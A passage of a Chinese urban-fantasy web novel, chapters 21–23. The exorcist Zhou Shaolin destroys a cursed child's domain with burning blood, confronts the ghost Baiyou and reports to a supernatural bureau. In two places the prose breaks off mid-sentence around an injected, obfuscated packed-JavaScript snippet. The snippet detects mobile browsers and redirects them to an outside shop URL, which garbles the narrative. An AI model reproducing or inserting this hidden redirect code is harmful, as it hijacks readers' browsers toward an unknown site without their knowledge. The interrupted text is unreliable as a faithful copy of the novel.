因为刺入太深,连拔出都花了好几秒,超出极限的剧痛让人近乎失声。周少麟踉跄地摔到地上,腥锈的血气倒涌上喉头,但他连咳嗽的力气都没有。 染血的钢筋当啷一声掉在地上,空旷的客厅里响起几下寥落的掌声。 白幽赞叹:“很正确的选择!” “虽然常识是刺进身体里的东西不要随便拔……但以你的恢复速度,如果不立刻拔出来,会长进血肉里吧。” 右胸的贯穿伤血肉模糊,只差一寸,就会刺中心脏。 女孩静静地看着那个狰狞的伤口:“你吃过什么药吗?还是接受过融合改造?” 黑色的碎发垂下,掩住了周少麟的表情。他按着伤口,一言不发。 白幽似乎也没有想得到回答,她自顾自地走到少年身前,半蹲下来,语气欢快地说: “——像你这种一点灵力都没有的除魔师,我还真是第一次见到呢!” 21.红房子(13) 自古而来,除魔师都是最为强大而罕见的特殊存在。 人为万物之长,生而灵性,即使如此,也只有极少数人才具备真正的通灵天赋,足以在觉醒后使用灵力、修习法术。 而在这群罕有的天赋者中,又只有更少一部分人能有幸自幼入门、成长,捱过漫无止境的苦修与历练,真正掌握超越常理的力量。 正因如此,除魔师万中无一。 在诅咒横行的年代,为了培养更多除魔师,世家大族与玄门组织尝试过许多方法。但培养的空间终究是有限的,因为即使后天训练可以补足,先天天赋也不可改变。 所幸祓除诅咒的方法本就各种各样。术法、灵器、符箓,甚至足够强大的体魄,都可以成为有力的倚仗。 而这其中,受通灵天赋牵制最小的,就是个人体质和能力。 ——速度、力量、反应,乃至自愈力。既然通灵天赋有所不足,那在其他方面就更要远远碾压常人。只有这样,才能在非人的战场上求存。 谁更残忍,谁更坚韧,谁伤而不死,谁就能在与诅咒的对抗中取得最终的胜利。 灵界之门已经永远闭合,灵气日益衰微,人心所孕育的诅咒却始终存在。末法时代降临后的千百年里,无数人都在这条后天的道路上呕心沥血、皓首穷经,追寻人力所能抵达的究极。 “……人类的欲望果然能诞生无穷的创造力。” 白幽轻声感叹:“真厉害啊,把你这种毫无灵力的人变成了这幅怪物样子。” 此刻注视着,才能感受到在周少麟身上发生的治愈是何等不可思议。 血液加速流动,心跳频率提升,钢筋翻卷的血肉以缓慢但确乎可见的速度被新的组织填平,折断的胸骨相衔,像是焊接两段钢铁。 这是绝无可能出现在任何一个人类身上的自愈奇迹。 周少麟显然清楚自己的体质,并完美地利用了它。所以他无比习惯于用以伤换伤的打法来迅速结束战斗,因为龙雀对诅咒的伤害是不可逆的,而只要不是瞬间死亡,无论怎么受伤,他都有自愈的空间。 只是那致命的一刀未能击中,白幽转移走了沈月。 不使用术法与诅咒战斗,本就等同于火中取栗。制胜的关键只在一瞬,周少麟失去了那个机会。 现在,诅咒域的畸变正在加速,他已经不可能在恢复前阻止这一切了。 被扭曲成星星和月亮形状的铁器悬浮在空中,摩挲出令人牙酸的声响。遮天蔽日的植物上长出大大小小的人头,像是烂熟的果实一样摇晃着,满地的小怪物嬉笑着跑来跑去,穿梭在漆黑的波浪之中。 “出来玩啊……出来玩啊……出来玩啊……” 海潮般的尖细声音一重叠着一重传来,混杂着孩童欢快的笑声。 “出、来……陪我……玩嘛!” 这就是沈月的心声。 那个从小就学会在自己害怕的漆黑地下室里生活的孩子,那个面对濒临破碎的家庭选择用一幅画来安慰父母的孩子,听话懂事到了最后,也没有等来她所期待的陪伴。 她凭什么不能要求呢? 不久后,诅咒域就会彻底畸变,将方圆数十里的人统统卷入。生前没有人听到过沈月的求救,死后,再也没有人能忽视她。 扭曲的欢呼与狂笑一潮高过一潮,落在周少麟耳畔,却显得飘忽而渺远。 怪诞疯狂的一切都被隔绝在结界之外,寂静的房间中,只有黑裙的女孩俯身靠近他,垂下的银发婉约如钩。 “许愿吧,除魔师?”她轻声说,“只要你想,我就把整个红梅公寓给拆了,打散诅咒,中断畸变,保证你和你的任务目标都能出去哦。” “活下去,这总是每个人都有的愿望了吧?” 素冷的香气若有若无地萦绕在空气中,白幽凝视着少年的眼睛,笑容安静而温柔。在这个濒临崩溃的世界里,美得让人甘愿去相信这是唯一的真实。 没有惑术,她不觉得有什么用惑术的必要了。如果不想死在这里,他就没有别的选择。 两人相距不过咫尺,彼此都能从对方瞳孔中看到自己的倒影。白幽干净从容,周少麟满身血污,奄奄一息。 他的自愈显然也不是万能的,反复的伤上加伤就像是烧红铁丝后来回拗,不断逼近这具身体崩溃的极限。鲜血仍在从恐怖的创口中汩汩涌出,带走残存的体温。 撕裂的肺部尚未痊愈,周少麟说出的每个字都带着锈腥的血气,显得断续而缓慢。 “……我需要,为这个愿望付出什么代价?” “什么都不用,因为这对我只是举手之劳而已!”白幽笑眼弯弯,“就当是开业酬宾吧~” “都说了,你可是我最重要的客户呀。” 这句话实在太讽刺了,周少麟无声地勾了勾嘴角:“我该谢谢你的慷慨么?” 白幽依然微笑:“我并不要求。” 她注视着少年鲜血淋漓的胸口,又啊了一声:“许愿的话,我就顺便帮你把伤也治了吧?看着真疼呀。” “……”周少麟闭了闭眼,“不需要。” “别客气嘛,就当是给贵客的售后啦。”细碎的银光开始在女孩指尖凝聚, “我看看啊,你现在胸口和腹部各有一处贯穿伤,断了四根骨头,还有内脏受损……” 话语忽然断在了口中,白幽的眼睛倏而睁大。 那双平静如镜面的瞳孔,第一次出现了清晰的裂痕。 ——就在这一句话的时间里,刚才她提及的伤口已经全部消失了! 内脏生长,断骨相连,鲜血止流,腹部翻开的创面转瞬愈合,速度百倍于前。 从出现在域里至今,白幽始终是轻松而从容的。她是这个故事的看客,熟知剧情的发展,偶尔为精彩的桥段献上掌声。 此时故事应该走向终结而非拐点,不可思议的一幕却出现了。 满地鲜血像是蜿蜒的红蛇,如有生命般沿着地表与墙面的缝隙攀升。锋利的血线将房间分割成了无数个方整的碎块,他们仿佛置身在一张死亡的巨网之中。 周少麟冷淡地抬起眼,声音如枪口的寒光一般冰冷清晰。 “谢谢你的周到,但我确实全都不需要。” “——因为这场战斗,已经结束了。” * 水泥墙体发出令人毛骨悚然的咯咯声,漆黑的烟雾升腾缭绕,那是残留在房间中的黑水,正在被急剧升高的温度蒸发。 流淌的血液从暗红变成血红,越来越亮,散射出太阳般耀眼的金光。光与热似乎挣扎着要从鲜血脱离出来,地板、墙壁都开始龟裂、熔化,如同被岩浆灼烧过的大地。烧红的碎屑簌簌掉落,在地上溅开。 这匪夷所思的一幕映在白幽暗蓝的眼中,如同一点火星照亮雪原。 “焚血……” 她的瞳孔惶惶收缩成一线:“——息壤?你融合的是息壤?” “如你所见。”周少麟说。 他翻身到窗台前,一跃而下! 风声呼啸着从耳畔流逝,凄厉的惨叫声从楼下传来。 所有藤蔓上的人脸都扭曲了,所有地缝里的怪物都在尖叫,黑水攒成的人俑嘶哑着嗓子,不顾一切地向上冲去! “不要——!!” 当然来不及了。 人俑扑入摇摇欲坠的房屋里,赤红的火焰腾空而起。在爆炸的巨响中,陈旧的公寓楼颓然倒塌。 * 破碎的混凝土块燃烧着向下坠落,在地上化成一团团火球。长满人头的巨大植物仿佛一下被抽去了所有生命力,正在飞速地发黑、枯萎、凋落。 奇形怪状的小怪物正在叽叽叫着满地逃窜,时不时就炸成一滩泥,地上都是它们掉的鼻子眼睛。 周少麟穿行在其中,未干的鲜血沿着他的指尖下滴,溅到小怪物身上,瞬间就将其燃成了灰烬。 这就是焚血。 ——焚烧包括诅咒在内的一切的,最暴烈的血液。 天赋超绝者少之又少,弥补天赋的手段却多如海沙,他所融合的灵物【息壤】便是其中一种。 息壤融合者可以进入“燃血”状态,以千百倍于前的速度愈合伤势,并将自己的血液化作焚血加以驭使。这是周少麟在域中最大的底牌,他从不轻易动用。 速度、力量、反应力,面对怪物般的对手,在这些方面做到极致都还不够。要连自身都化作武器,才算物尽其用。 周少麟提着修狭的长刀,一步步走近燃烧的废墟。 诅咒的天赋能力和依附物,都与执念相关。 执着于白幽灵的沈天合以黑匣子为依附物,天赋能力则复现了他实现愿望的那个雨夜、四个人血肉爆裂的场景。 梦想着能和父母重聚的沈月,天赋能力是扭曲和控制一定范围内的建筑,那她的依附物也不言自明了。 ……她始终期待的,她没能回到的,原本的家。 白幽以为是沈月将周少麟逼入狭窄空间以便杀死,但事实恰恰相反,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286666|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周少麟主动把沈天合的诅咒残骸引回了这个房间——沈月的依附物所在。 如果一刀得手,当然最好。如果失手,那就用焚血直接破坏依附物。他向来两手准备。 所以周少麟没有躲避最后的攻击。要使用焚血,他受伤是必须的。 依附物遭到破坏后,诅咒的力量就会大大受损,无法继续畸变扩张。在这种状态下,即使是低两级的除魔师也能将其轻易杀死。 赤红的火焰在废墟上熊熊燃烧着,炸出噼啪的火星,灼热的空气被扭曲出蛇状的纹路。 被烧焦的混凝土块变得异常脆,每走一步都在扑簌扑簌地掉灰。一重压着一重的焦炭下,飘出了低低的呜咽。 “呜……呜呜,呜呜呜呜。”小女孩呜咽着大哭起来,“我好疼,这里好黑啊。妈妈、爸爸,好疼啊!” 这个幼小的诅咒似乎完全没有隐藏自己的概念,她只是家被毁掉了,又疼又难过,于是缩起来呜呜地哭泣。 周少麟调转方向,走向声音传出的位置——诅咒的所在。 诅咒只是死者残留的执念,被欲望浇灌而成的怪物,极端、疯狂、扭曲。 它们也许是人形,也许是异形,姿态并不重要。重要的是,不要把它们当成同类,更不要在它们身上找寻逝者的影子。 死去的人已经消失了,永远消失了。他们不会知道此世发生了什么,也无法从中获得任何安慰。 ……所以,不要犹豫。不要理解。不要同情。 这就是每个除魔师的第一课。 在燃烧的建材下,漆黑的影子像猫一样蜷缩成了小小一团,边缘的黑水四散流溢,如同融化的沥青。 呜咽的哭声盘旋在废墟之上,慢慢变低了,断断续续的。像是孩子受尽了委屈,又不敢大声说出来。 “可不可以开门啊,我想回家。” “开门嘛……开门啊……” “开开门吧……我怕黑,好冷啊。” 黑水凝聚出了一只细瘦的小手,摇摇晃晃地探出来,黏连的五指一张一合,徒劳地想要抓住什么。 “我想,回家……” “妈妈……爸……爸……” 伸出的手,握不住任何东西。 一直以来不都是如此吗?有人因为贪婪而失去,有人因为懦弱而失去,有人因为残暴而失去,有人只是因为不幸而失去。 那么多人都挣扎着伸出手,双掌合十,跪地祈祷,向白幽灵祈求愿望,关于财富,关于力量。可沈月只想和父母一起回家。 不需要那么大的房子,只要不在那个让人害怕的地下室就好,只要这个陈旧的老公寓就好。 孩子的世界本就不大,沈月的世界比别人更小。她想要的只有那么一点点东西,却也从来都没有得到。 漆黑的小手在废墟的缝隙里摸索着向上,伸向有光的地方。 推不开地盖的手,牵着母亲的手,提起星星灯的手,画画写字的手。 ……孩子的手。 周少麟握住了这只手。 掌心残留的血迹化成了赤金的火焰,沿着黑水凝成的手臂向下蔓延开去。漆黑的影子表面浮现出一道道浅金的裂痕,光焰从中溢出。 温暖而明亮。 星星灯已经熄灭了,地下室的灯光也早已黯淡,沈月却忽然觉得眼前很亮。小女孩恍惚地仰起脸,看到灿烂的阳光从头顶的天花板泼洒而下,驱散了最令人害怕的黑暗。 沉重的地盖被移开了,逆光之中有她熟悉的身影。 “你们,来啦。”小女孩轻轻笑了,“可以,回家了吗?” 千百道光焰从黑水中散射出来。 在赤金的火焰中,黑色高危、即将畸变的一级诅咒沈月,化成了无数块碎片。 * 长风拂过,万籁俱静。 周少麟依然保持着单膝半跪的姿势,静止如凝固的雕塑。许久之后,他松开手,漆黑的碎片在风中四散而去。 灼热的温度还停留在指尖,鲜血红得刺眼。 焚血所化的火焰中,这是最特殊的一种。与正常的火焰效果相似、温度相若,只是灼烧时不会有任何痛感。 世人称之为“净火”,据说它能让诅咒在消失前看到最后的光明。 过去息壤的融合者到底为什么要创造这种能力,已经不得而知了。净火对使用者的损耗和负荷极大,本不是应该提倡的用法,却因时常出现在记载中而广为人知。 ……最慈悲,最无用。 22.红房子(14) 诅咒域外,红梅小区。 半空中的黑色漩涡已经停止凝聚了,甚至连原本的形状都维持不住,正在缓慢地溃散。 扭曲的空气波动着,似乎正在从某种急剧衰弱的力量中挣扎出来。 “畸变停止了……”徐成蹊不敢置信地喃喃,“诅咒域……在消失?” ——有人在域里杀死了诅咒! 漩涡终于走向了崩溃,余波向四周荡去,浓郁的黑雾在帐中弥漫开来,那是诅咒死后残留的强烈怨气。 黑雾被搅乱,隐没在雾气后的红梅公寓中,走出了一个模糊的人影。 徐成蹊顿时警惕:“异常事务管理局第十一分局执行队!报出你的身份!” ——自由除魔师行事大多随心所欲,即使祓除诅咒也不一定是同伴。何况诅咒域畸变可能就是由这个人引起的! “灵异协会的在册赏金猎人,联盟除魔师登记编号A370549,受托来此。” 对方的声音很平静,甚至有几分疲惫:“接受调查。” 隔着缭绕的雾气,他们看清了那个走出公寓的人影。 这是个莫约二十岁的年轻人,身形劲瘦,面色苍白,侧脸的轮廓俊秀而清晰。 没有武器,也没有鏖战后的杀气,满身的斑驳血迹甚至彻底掩盖了衬衫原本的颜色。 他肩上还架着一个昏迷不醒的青年,全身都是灰和土,但不像有伤。 陶桃愣了愣:“小周?” 周少麟也看清了他们。他的目光短暂地空白了一瞬,随后道:“陶姐。” “怎么是你啊!”陶桃惊讶得差点跳起来,但还是很快走到两方中间,对徐成蹊和裴誉介绍道: “徐队,裴特级,这个人我知道。自由除魔师周少麟,在灵异协会暗网上接任务,档案记录良好。我之前在诅咒域现场见过他几次,很配合管理局工作的。” 她又转向少年:“这是总部特派干员裴特级,这是执行部二队队长徐队。我们是观察到诅咒域畸变来处理状况的。小周先解释一下吧?” “你们好。”周少麟礼貌地向他们致意,“周少麟,自由除魔师,受雇进域救人。” 他把昏迷的青年递出去:“这是失踪者赵嘉言,我的任务对象。在诅咒域畸变的时候,我先用屏珠护住了他,应该没有大碍,只是现在还昏迷不醒。可以先把他送去医院吗?” “域里发生了很多事。关于畸变的原因和过程,稍后我都会向管理局报告的。” “好。”徐成蹊上前接过赵嘉言,“后面都可以由管理局接手了。你休整一下,之后再报告情况。” 如陶桃所说,这个少年除魔师还真是非常配合。 致使诅咒域畸变本身是极其严重的事故,可能导致上百人的死亡或者整支同级执行队的覆灭,但既然他杀死诅咒阻止了畸变,事件也算有惊无险地落幕了。只要调查结果没有问题,管理局不会多作为难。 ……倒是他的状态让徐成蹊有些不安,从畸变域血战出来的人很少有这么冷静的。 这个年轻人看上去分明伤得很重,行动却好像没有受到影响。 “你感觉还好吗?是否需要治疗?”徐成蹊说,“对于在诅咒域中受伤的自由除魔师,管理局可以提供医疗保障。” “对,先去治疗吧。”陶桃附和,目光满是担忧,“……怎么能伤成这样?我先给你处理一下吧?” “——不需要!” 冷厉的声音突兀地响起,斩钉截铁,不容回转。 从头到尾都没有说过一句话的裴誉站在不远处,冷冷地看着周少麟:“他不需要。” 空气霎时安静了,几秒钟漫长得仿佛好几个世纪。 在裴誉眼中,周围的一切似乎都在飞速地斑驳、褪色、消逝,天地之间,只留下了那一个浴血而出的影子。 祓除过无数诅咒、拯救过万千生命的特级裴誉,凝视一个人的眼神,从未如此的……寒冷。 寂静之中,周少麟淡淡道:“谢谢陶姐和徐队,是不需要。” 他把包挽在身后,向前走去。 裴誉依然站在原处,一动不动,仿佛连根都长在了地里。 在擦肩而过的瞬间,他用只有两个人能听到的声音低低地说:“你还没死啊。” 周少麟的步子顿了顿。他停在原地,微微侧过脸,像是要回头,但终究没有回头。 “……深表遗憾。” * 初升的朝阳下,一辆黑色轿车正沿着公路飞驰。 赵嘉言盖了条毯子睡在最后一排,周少麟坐在第二排靠窗的位置。陶桃握着方向盘熟练地拐过一个弯,将油门踩到最大档。 诅咒域已经消散,裴特级和徐队留下清理现场,她负责先送两个涉事人回去。 透过车内后视镜,陶桃用眼角的余光看了看周少麟。 少年裹着一件黑色的连帽外套,低着头在手机屏幕上打字。他似乎也知道自己一身是血的样子很悚人,一上车就拿出件外套穿上了。 如果忽视满身萦绕不散的腥锈血气,他看上去就像个普通的学生。 陶桃不由想起了两年前第一次见到周少麟时的情境。当时她还是个刚被调配过来的新人,负责前台登记和档案管理。 尽管理论上所有的除魔师都受管理局管辖,但自由除魔师毕竟不在此任职,考证之后除了一年一度的档案更新,平时都不会向管理局汇报现状。 陶桃白天没有要紧事,坐在前台不是补觉就是百无聊赖地翻工作手册。某个千篇一律的下午,白衬衫的年轻人推门而入,礼貌地说,您好,异地登记。 异地登记是个理论上的流程,要求除魔师如果在外地三天以上,就要去当地的管理局登记行程,这是为了更好地管控这些身怀异术的通灵者。 话虽如此,但自由除魔师来路多种多样,性情或是散漫,或是乖僻,很少有严格遵守条例的。只要不出事,管理局也睁一只眼闭一只眼。 这还是陶桃第一次见到这么遵纪守法的自由除魔师,她记住了这个孩子。 周少麟,十八岁,三级除魔师。将在天海市暂居四年,原因是上大学。 他甚至考上了名校。业务和学习两手抓两手硬,给了陶桃一点大大的卷王震撼。 除魔师和普通人是两条截然不同的成长轨迹,选择正常上学是远离这个圈子的信号。但自那之后,陶桃又在诅咒域消散后的现场见过他好几次。 自由除魔师祓除诅咒后时常会找管理局后勤部清理现场,独自执行任务的就更是这样。这么年轻的除魔师普遍经验很少,本不该独自接受委托进入诅咒域,可周少麟好像并没有什么师长、同伴或搭档。这个少年永远是一个人,站在废墟之上,等到管理局来时,轻描淡写地说一句解决了。 陶桃甚至从没见他受过伤。 分明还是刚入行的年纪,行事的沉稳冷静却超过许多经验丰富的除魔师。即使刚刚越级从畸变诅咒域中生还,也没有什么情绪上的起伏。 如果不是天生情感冷漠,那只有一种可能,就是他习惯了。 ……习惯了些什么呢? “小周,真的还好吗?”陶桃忍不住问道,“需不需要止痛药之类的?我找个地方停车给你看看吧。” “谢谢陶姐。”周少麟淡淡地说,“真的没事。我再休息一会儿就好了。” 他还在看手机,屏幕的荧光照亮了那张苍白而俊秀的脸,有种大理石般透明的质感。 “那你先别看消息了,睡会儿吧。”陶桃又道,“报告的事不用担心的,管理局只是要了解下情况。诅咒域那么危险多变,发生意外也没办法。” “好的陶姐。”周少麟说,“我写完报告就睡。” 陶桃:“……” 啊? 我以为你在玩手机,原来你在写报告啊? 任务一结束就开始写?伤成这样不休息就开始写? ——这小孩上学一定很卷吧!! “别这么勉强自己啊。”陶桃赶紧说,“也不是非要书面报告,你口述过程我们整理就可以了。如果有什么事要特别交代处理的,就直接告诉我吧,我都会转达的。” 打字的手停住了。片刻后,周少麟开口道:“……我在诅咒沈天合的记忆碎片里,看到了一个叫基石药业的涉黑公司。” “成员包括多个通灵者甚至除魔师,涉嫌高利贷、经济犯罪、故意杀人和贩卖毒品,直到三年前都一直隐藏得很好,近况不明。” “我会从记忆碎片中整理出人员、据点和业务的情报交给管理局,希望管理局能协同警方解决这件事。” “结束后,我想知道处理结果。”周少麟缓缓说,“如果需要援手,我也很愿意。” 琥珀色的眼瞳中掠过一丝冰冷的光。那其实是一双漂亮的眼睛,对视时却总让人感到不寒而栗。 “……”陶桃点了点头:“收到,交给我们吧。” 朝阳已经完全升起,金红色的阳光穿过淡薄的云层倾泻下来,透过车窗,给那张没有血色的脸上镀上了一层和煦的光晕。 短暂的沉默后,周少麟又轻声说: “除此之外,还有一件事,我想委托管理局来做。” * 半小时前,红梅公寓。 诅咒已死,域中的一切都在自上而下地消逝——树木,楼群,甚至坍塌的废墟。 眼前的景象错乱地变化着,时旧时新。三年前的虚幻、三年后的现实,模糊地交叠在一起。 周少麟行走在空无一人的公寓中,不疾不徐。他从不担心在诅咒域中迷失,金冥瞳之下,虚实的边界泾渭分明。 “燃血”已经结束,焚血却没有那么快平息,暴烈的火焰仍在他的血管里奔涌,如同脱闸的狂龙。管理局应该已经在外面候着了,但他现在的状态并不适合见人。 距离诅咒域彻底消散还有一段时间,在那之前,他想先去一个地方。 在现实中的对应位置,周少麟找到了那个地下室。 不知道多久没有人来过了,地盖上还压着一台锈迹斑斑的废弃自行车。地盖边缘的缝隙甚至都模糊了,仿佛已经与地面长在了一起。 周少麟把地盖掀开,厚厚的浮尘扬起,陈腐的气息扑面而来。 他打开手电筒,往下照了两圈。深呼吸数次后,一步一步地走下了台阶。 与在诅咒域中看到的别无二致,阴暗、破旧、凌乱,许多杂物堆在了一个狭小的空间里。 总是生活在这种地方,大概会觉得很压抑。 地面上已经落了一层厚厚的灰尘,每个角落都结着破烂的蜘蛛网,空气中弥漫着腐败的味道。周少麟打着手电筒扫过地下室,没有第一时间看到他所预想的东西。 他在原地静静站了一会儿,把灯光照向了笼着帐子的床上。 星星灯挂在床头,轻轻摇晃。 尽管自认已经做好了足够的心理准备,但在真正看到沈月的那一刻,周少麟还是感到心脏骤然停跳了几秒。他下意识就想移开视线,却连目光都被眼前的一幕冻结住了。 不知多久之后,他轻轻关掉了手电。 白色的光柱熄灭了,但地下室并没有彻底陷入漆黑,因为地盖没有合上。周少麟不想再合上。 熹微的天光从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295896|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一方井口洒下来,他站在明暗的交界处,面对着那具静默的白骨,闭了闭眼。 一声很轻的叹息。 阴影中还站着另一个人,她似乎一直就在那里,并未刻意隐藏自己的气息。 “……”周少麟抬眼,“还不走吗?” 白幽站在床边:“不肯惠顾的客户管不到我哦。” 在现实世界里,白幽的身形是虚幻的,如同一个不真实的影子,透过她甚至可以看到后面的墙壁。 诅咒域已经被摧毁,白幽却还未离开。管理局的人已经在门外了,其中大概率有一级除魔师。如果等到域彻底消散,双方见面,一场围剿战在所难免。 周少麟不知道她的想法。这可能就是他们最后可以和平对话的时间。 “其实我还有一个问题。”周少麟说,“为什么第一个愿望没有收取代价?” “不是说过了吗。”白幽漫不经心道,“因为他在公园里陪我说话,让我心情变好了。” “只是因为这个?”周少麟语气很淡,“生机术的本质是用灵力修补经脉,损耗极大,灵体使用甚至伤及本源。想得到这种馈赠,只需要陪你说几句话?” 这完全违反诅咒的逻辑。 为执念所驱使的诅咒,以强化自身为绝对本能。无论杀死人类,抑或吞噬同类,都是出于同样的目的。 但生机术的负荷对诅咒太过沉重,已经超出了白幽能从愿望中获取的力量。 所以她才会被封印。 沈月吞噬沈天合后是一级诅咒,白幽既然能在实力上压制沈月,本不应受制于一级的死匣。 被困笼中,不只是因为那一瞬间她犹豫了,也因为她确实变弱了。 地下室寂静了几秒。 “嗯……”白幽沉吟了一会儿,仰起脸,“好吧!其实是因为苏醒之后,我听到的愿望都是什么智慧啊,财富啊,容貌啊之类大同小异的东西,很久没有听到谁真的许愿想救人了。” “真心为别人许愿,甘愿自己承担代价,这不是很有趣吗?我想知道许下这种愿望的人是怎样的,所以两个愿望,我都没有拒绝。” “有趣么?”周少麟静静地看着那截白骨,“这个结局。” “……” 白幽的嘴角轻微扬起,声音轻冷:“如果我说有,你会不会再杀我一次?” 但没等周少麟的回答,她就已经就转回了床边,面对那具小小的尸骨,回到了波澜不惊的语气: “可惜答案是没有。” 女孩不知从手腕上摘下了什么东西,轻轻放在沈月的身侧。 斑斓的光芒轻微地闪烁了一下,随后隐没在黑暗里。如同一颗石子投入漆黑的湖泊,没人看清是否泛起涟漪。 “你们人类啊,一直以来都……非常、非常、非常无趣。” * 黑帐之下,红梅公寓。 诅咒域已经彻底消散,漆黑的怨气却仍萦绕在废楼区的每一个角落。 这是诅咒最后的残留,如果溢散到黑帐之外,会极大地污染普通人的神智,甚至可能造成极端的疯狂行为。 正因如此,祓除诅咒后清理现场是必须的。驱散怨气也是件挺费时费力的事,要么使用灵器先行收容,要么直接用灵力对冲净化。 放在平常,驱散一级诅咒畸变后留下的怨气至少也要一个小时,但今天,徐成蹊却早早地结束了工作。 ——苍紫色的雷电以裴誉为中心向四周横扫而去,势如万钧,所过之处的黑雾摧枯拉朽地溃散,直至彻底湮灭! 雷光闪逝,天地一清。 裴誉在瞬间荡平了所有的怨气,只用了一个基础术式。 “没有其他诅咒残留的痕迹。”年轻的特级冷漠地给出判断,“双诅咒域,一个吞噬了另一个。” 他转身离开:“诅咒核收容完毕。走吧。” 回程的路上,裴誉再也没说过一句话。 下午,管理局委派的后勤队来到了清理过后的现场。 两个后勤队员背着装备,来到了一楼的车库。地下室的位置实在很偏僻,但他们还是找到了,因为移开的地盖没有合上。 站在黑洞洞的入口前,两人戴上口罩,沿着台阶走了下去。 他们已经从简报中大概了解了事件的前因后果,但在看到这一幕惨状的时候,心情仍然无比复杂而沉重。 “……这么小的孩子。”一个队员不忍地闭上了眼,“人间惨事啊……” 另一个队员重重地叹了口气:“开始吧。” 两人小心翼翼地收拾起地下室的遗骨和其他物件,将星星灯、兔子玩偶、涂鸦画在写好名字的箱子里整齐地摆放好,还有一本翻得很旧了的猫猫封面的日记。 委托这件事的除魔师特地列了一张清单,他们知道什么是要和这个孩子一起下葬的,只希望这些能陪她安眠。 “啊。”一个队员忽然拎起个闪闪发亮的物饰,“这还有一串手链!” 一个星月夜空款式的手链,表面涂了亮闪闪的彩片。看上去还很新,安静地躺在枕上,像是刚刚才被谁放到这里。 清单上没有写这个,很正常,总不可能全部覆盖的。他们自己也会根据判断收拾一些东西。 看上去很普通的一串手链,他侄女小学门口经常卖。这还是个不能调节长度的款式,对小女孩来说有点松脱。 不过小孩子不就喜欢收藏这些亮闪闪的小饰品吗?她再长大几岁就能戴了。 和那个星星灯像同款的,也许是来自父母的礼物。 “应该是这孩子生前的东西。”他把手链放进箱子里,“都葬在一起吧。” 23.无人知之者(1) 晚上九点,管理局,特别行动组办公室。 陶桃站在门口,屈指敲了三下:“裴特级,我进来了。” 屋内没有人应声,陶桃推开了门。 冷灰色调的办公室宽敞而简洁,裴誉坐在花岗岩石材的办公桌前,从堆叠如雪片的文件中抬起头来。 陶桃走上前,双手呈上一沓装订好的报告:“新整理出的红梅公寓畸变事件调查结果,请您过目。” “辛苦了。”裴誉伸手接过。 偌大的办公室里一时只剩下沙沙的翻阅声。 陶桃站在桌前,目光透过不远处的落地玻璃窗,映出繁华的夜景。 都市长街灯红酒绿,人来人往,川流不息。 这是管理局大厦的高处,站在97层向下俯瞰,可以将整个城市收进眼底。 听说管理局之所以特地将这个房间腾出来给裴誉,就是希望能让他时刻看到,自己在守护的是什么。 掌控灵力、驭使术法的除魔师,拥有着远胜于普通人的力量。如果将其用于破坏而非保护,必定造成极其恐怖的混乱与伤亡。 ——正如三年前“黑蛇之乱”,极端通灵组织【黑蛇】所掀起的腥风血雨。 自那之后,管理局大大加强了对自由除魔师的管控。通灵者都被要求进行除魔师资格考评和登记,建立档案,每年评估,如果出现威胁社会的行为或倾向,就会被列入观察名单。 当然,即使如此,一定也还有通灵者不愿现身,但至少对目光可及的一部分,管理局要保证其稳定与安全。 文件一页页翻过,裴誉看的速度很快,堪称一目十行。 由于当事人赵嘉言还处在昏迷状态,管理局目前的信息主要来自于现场斟查、公开资料以及除魔师周少麟的报告和口述,这部分内容最为充实,资料等主要用于佐证。 十四页纸,还原了当年的真相。 红梅公寓的诅咒,起源于五年前,怪谈“白幽灵”的盛传。 裴誉是听说过白幽灵的,当年全网都是,热度不小。但因为既没有确认闹出过什么事,也没有除魔师真的通过许愿仪式找到它,再加上黑蛇之乱进入尾声,就没有人再深究下去。 这种怪谈每年都要传出十几个,多半是假的,没有人想到白幽灵真实存在。 ——白幽灵,极罕见的具备神智的诅咒。没有结成域,天赋能力是血肉献祭,以实现愿望为饵,收割人类的执念与血肉,以此滋养自身。 五年前,一个叫沈天合的男人因为妻子重病,向白幽灵提出了许愿。 它治好了沈天合的妻子,而作为回报,三个月后,沈天合必须要为它献上四条人命。血肉献祭的索取往往大于给予,这很正常。 当时,沈天合家已经因为治病而负债累累。他既害怕白幽灵,也害怕自己的债主,于是搞了个两头骗。 他先是骗债主自己能弄来可以实现任何愿望的幽灵,然后又将四个讨债人作为回报献给了白幽灵。 白幽灵杀死了这四个人,但由于讨债人中就有除魔师,它自己也不慎被死匣封印。沈天合就这样成功地解决了双方。 尽管事件落幕,但由于这段经历——尤其是现场画面过于冲击,还是为他之后精神不稳定埋下了巨大的隐患。 不久后,原本那家讨债公司找上了门。 这是一家名为“基石药业”的涉黑企业,甚至有通灵者参与其中。五年前黑蛇之乱尚未结束,这些人本就肆无忌惮。 他们本来是因为成员死亡才来找沈天合算账,但沈天合编造了自己的许愿过程,谎称自己具有独特财运,利用价值巨大。 基石药业的人觉得他起码算有胆识,可以发展,于是将其吸纳进了公司,开始共谋业务。 刚好又赶上了好几个行业风口,公司越做越大,沈天合也因此飞黄腾达。 因为发迹太快,网上很多传言他是通过向白幽灵许愿才能发财的——用圈内的话来说,就是在养鬼。但没有人知道,真正的鬼已经被封印在了死匣中。 事业虽然风生水起,沈天合的压力却也无比沉重。 